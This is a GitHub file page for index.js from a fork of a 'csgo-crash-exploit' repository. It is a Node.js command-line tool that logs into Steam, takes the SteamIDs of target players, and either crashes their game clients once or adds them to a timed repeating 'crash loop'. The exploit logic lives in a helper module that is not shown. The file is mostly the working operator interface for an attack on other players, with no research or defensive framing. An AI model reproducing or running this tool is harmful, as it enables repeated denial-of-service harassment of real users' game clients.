forked from BeepIsla/csgo-crash-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
127 lines (108 loc) · 2.78 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
const Inquirer = require("inquirer");
const SteamID = require("steamid");
const Lobby = require("./helpers/Lobby.js");
const config = require("./config.json");
const lobby = new Lobby();
(async () => {
console.log("Logging in...");
await lobby.createLobby(config.details);
askQuestion();
})();
function askQuestion() {
Inquirer.prompt({
type: "list",
message: "What would you like to do?",
name: "reply",
choices: [
"Crash users once",
"Add users to crash loop",
"Remove users from crash list"
]
}).then(async (res) => {
if (res.reply === "Remove users from crash list") {
if (lobby.crashLoop.length <= 0) {
console.log("No user is currently being crashed");
askQuestion();
return;
}
let remove = await Inquirer.prompt({
type: "list",
message: "Which user would you like to remove from the crash loop?",
name: "reply",
choices: [
lobby.crashLoop.map(c => c.steamid),
"EXIT"
].flat()
});
if (remove.reply === "EXIT") {
askQuestion();
return;
}
let index = lobby.crashLoop.findIndex(c => c.steamid === remove.reply);
if (index <= -1) {
console.log("\"" + remove.reply + "\" is not in the crash loop");
} else {
lobby.crashLoop.splice(index, 1);
console.log("\"" + remove.reply + "\" has been removed from the crash loop");
}
askQuestion();
return;
}
if ([
"Crash users once",
"Add users to crash loop"
].includes(res.reply)) {
// Lets ask for user input
let users = await Inquirer.prompt({
type: "input",
message: "Please enter SteamIDs of the users you want to crash. Separated by commas",
name: "reply"
});
let dur = -1;
if (res.reply === "Add users to crash loop") {
let time = await Inquirer.prompt({
type: "input",
message: "For how long do you want to crash the user(s) for? In minutes.",
name: "reply"
});
time = parseInt(time.reply);
if (!isNaN(time)) {
dur = time;
} else {
console.log("Invalid duration input.");
askQuestion();
return;
}
}
let toAddRaw = users.reply.split(",");
let toAdd = [];
for (let to of toAddRaw) {
let sid = undefined;
try {
sid = new SteamID(to);
} catch { }
if (!sid) {
console.log("Failed to parse SteamID from \"" + to + "\"");
continue;
}
if (dur > 0) {
toAdd.push({
steamid: sid.toString(),
end: Date.now() + (dur * 60 * 1000)
});
console.log("Trying to crash \"" + sid.toString() + "\" for " + dur + " minutes");
} else {
toAdd.push(sid.toString());
console.log("Tried to crash \"" + sid.toString() + "\"");
}
}
if (dur > 0) {
lobby.crashLoop.push(...toAdd);
} else {
lobby.crashUsers(toAdd);
}
}
// Return to questioning
askQuestion();
});
}